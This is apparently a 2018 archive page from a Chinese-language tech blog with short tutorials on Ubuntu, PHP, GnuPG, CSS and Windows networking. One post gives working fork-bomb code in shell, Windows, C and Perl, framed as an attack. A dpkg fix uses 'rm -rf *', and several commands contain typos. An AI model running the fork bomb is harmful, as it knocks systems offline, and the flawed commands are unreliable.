發表文章

目前顯示的是 7月, 2018的文章

Ubuntu 18 安裝 flash player plugin 給內建 firefox

圖片
Ubuntu內建的firefox無法正確顯示flash 物件,藉由以下網頁  https://get.adobe.com/flashplayer/about/ 得知需要安裝的版本為 NPAPI, 所以我們從以下網站下載 NPAPI 的 tar.gz 檔案,如圖一 https://get.adobe.com/flashplayer/otherversions/ (圖一) 下載後,利用指令  tar  zxvf flash_player_npapi_linux.x86_64.tar.gz 解壓縮後,接著讀 readme.txt 內容,可得知須複製 libflashplayer.so 至firefox plugin的資料夾,與複製解開之 usr資料夾底下的所有檔案至 /usr。如 cp libflashplayer.so /usr/lib/mozilla/plugins/  或  cp libflashplayer.so /usr/lib/adobe-flashplugin 以及 cp -r /usr/* /usr 接著再重啟動 firefox 瀏覽器,連結測試網址 https://get.adobe.com/flashplayer/about/ 若成功就有版本訊息! 或是 參考 https://help.ubuntu.com/stable/ubuntu-help/net-install-flash.html.en https://help.ubuntu.com/stable/ubuntu-help/addremove-sources.html.en#canonical-partner

fork bomb 的 DoS

 在各種環境下,皆可使用該指令方式攻擊: 1. Unix-like Shell $ :(){:|:&};:    # $為命令提示字元,如同 fbomb(){fbomb|fbomb &}; forkbomb 2.  Windows > %0 | %0    # > 為命令提示字元 3. C with POSIX #include<unistd.h> int main(){ while(1)  // always true    fork(); return 0; } 4. Perl fork while fork 參考資料 https://askubuntu.com/questions/159491/why-did-the-command-make-my-system-lag-so-badly-i-had-to-reboot https://zh.wikipedia.org/wiki/Fork%E7%82%B8%E5%BC%B9

PHP利用header()下載檔案,來隱藏路徑並解決檔案超過 memory_limit 限制

檔案下載可直接使用 <a href="[filepath]">檔案下載</a>來直接下載檔案,但路徑卻會輕易被得知,之後只要有心人複製 [filepath]貼到瀏覽器,就可以直接下載,而無需透過網頁點選。 此時可利用header來隱藏檔案連結路徑。 1. 先用 SQL資料表,存取檔案路徑與產生該路徑之唯一鍵,如以下   $filekey = md5( [filepath] );   製作PHP來製作 $filekey 與 $filepath 之對應。 利用 POST 或 GET 來傳遞 filekey ,傳遞前使用 urlencode()來編碼,再利用 urldecode() 來解出 $filekey 並搜尋出相對應的 $filepath。 2. 接著利用 header() 來下載 filepath,利用 finfo 類別來偵測檔案類型: <?php   $finfo = finfo_open(FILEINFO_MIME);   header('Content-Type: '.finfo_file($finfo, $filepath));   header('Content-Description: File Transfer');   header('Content-Transfer-Encoding: binary');   header('Cache-control: private');   header("Content-Length: ". (string)filesize($filepath));   header("Content-Disposition: attachment; filename=".basename($filepath));   ob_clean();   ob_flush();   readfile($filepath);   /*  以下修正檔案超過 memory_limit 大小造成之錯誤  */     while (!feof($fp))     { ...

利用CSS讓整體區塊改變字型大小樣式

要同批改變超連結字體大小,可使用CSS方式如以下: <style> #myid{ font-size:16px; } .myclass{ font-size:20px; } .a{font-size:22px; } </style> <html> <a href="#">字大小為22px</a> <div id="myid">字體大小為16px</div> <div class="myclass">字體大小為20px</div> </html> 參考資料 https://www.w3schools.com/css/css_font.asp

Ubuntu Linux製作個人GnuPG簽章,來加密文件與訊息

圖片
1. 下載GnuPG   apt install gunpg 2. 產生 PG 密鑰,會詢問真實姓名與電子郵件地址(組成所謂的用戶ID),接著會詢問密碼,請輸入兩次用以確認。如圖一   gpg --gen-key   #快速產生 或   gpg --full-generate-key 3. 再產生取消的證書,以備密鑰作廢可以請求提供公鑰伺服器來取消公鑰  gpg --gen-revoke gpg --list-keys 可以顯示公鑰與私鑰 公鑰文件存在 ~/.gnupg/pubring.kbx 4. 匯出公鑰與私鑰 gpg --armor --output pub_key.crt --export user_ID    #用戶名稱公鑰 gpg --armor --output pri_key.crt --export-secret-keys user_ID  # 用戶名稱私鑰,須輸入密碼 5. 上傳公鑰至公鑰伺服器如 https://pgp.mit.edu/ https://pgp.key-server.io/ gpg --send-keys user_ID --keyserver pgp.mit.edu 可利用 gpg --fingerprint 來取得公鑰指紋並公開讓人比對公鑰伺服器提供之公鑰是否為真 6. 加密文件,先匯入對方公鑰,對方讀取僅需要他的私鑰與密碼 gpg --import myfriend_pub.crt  #可請對方發送或是從上述公鑰伺服器尋找 gpg --recipient friend_ID --output mydoc.txt.encrypt --encrypt mydoc.txt   # ID通常是 username<email> 解密可用 gpg mydoc.txt.encrypt 7. 利用個人私鑰對文件做簽章,以證明本人所發 gpg --sign mydoc.txt 若想單獨簽名文件 .sig 與內容分開放,可以用以下 gpg ---armor -detach-sign mydoc.txt 對方可利用您的公鑰,來驗...

Windows 設定關閉 task offloading

1. 搜尋 cmd.exe -> 滑鼠右鍵 -> 使用管理者權限開啟 2. 關閉 netsh int ip set globally taskoffload=disable 開啟 netsh int ip set globally taskoffload=enable 參考 https://docs.microsoft.com/en-us/windows-hardware/drivers/network/task-offload

Ubuntu Linux使用 youtube-dl 下載自己上傳的 youtube 影片

圖片
1.  apt install youtube-dl 2. CLI 方式 (man youtube-dl ) youtube-dl  "youtube_url" 3. 安裝圖形化 apt install ytd-gtk 如下圖 for CentOS yum install -y youtube-dl yum install -y ytd-gtk 參考資料 https://www.duplicate-finder.com/video-dl.html

解決 apt 出現 "you must manually run 'sudo dpkg --configure -a' to correct the problem"

圖片
1. 進入 /var/lib/dpkg/updates/ 2. 用指令 rm 刪除所有裡面之檔案,如圖 rm -rf * , 如圖 3. sudo apt upgrade 4. sudo apt update

PHP魔術常數

PHP內建之魔術常數,為全域型態,以下列出常用的: __LINE__            顯示現在在該php檔案內的行數 __FILE__             顯示該php檔案完整的檔案路徑與檔名 __DIR__              顯示該php檔案所在的資料夾 __FUNCTION__    顯示現在函數名稱 __CLASS__         顯示類別名稱 __METHOD__      顯示方法名稱 還有伺服器提供之全域變數,如    $_SERVER["PHP_SELF"]   可以應用在 form 表單,如 htmlspecialchars($_SERVER["PHP_SELF"]) 參考至 http://php.net/manual/en/language.constants.predefined.php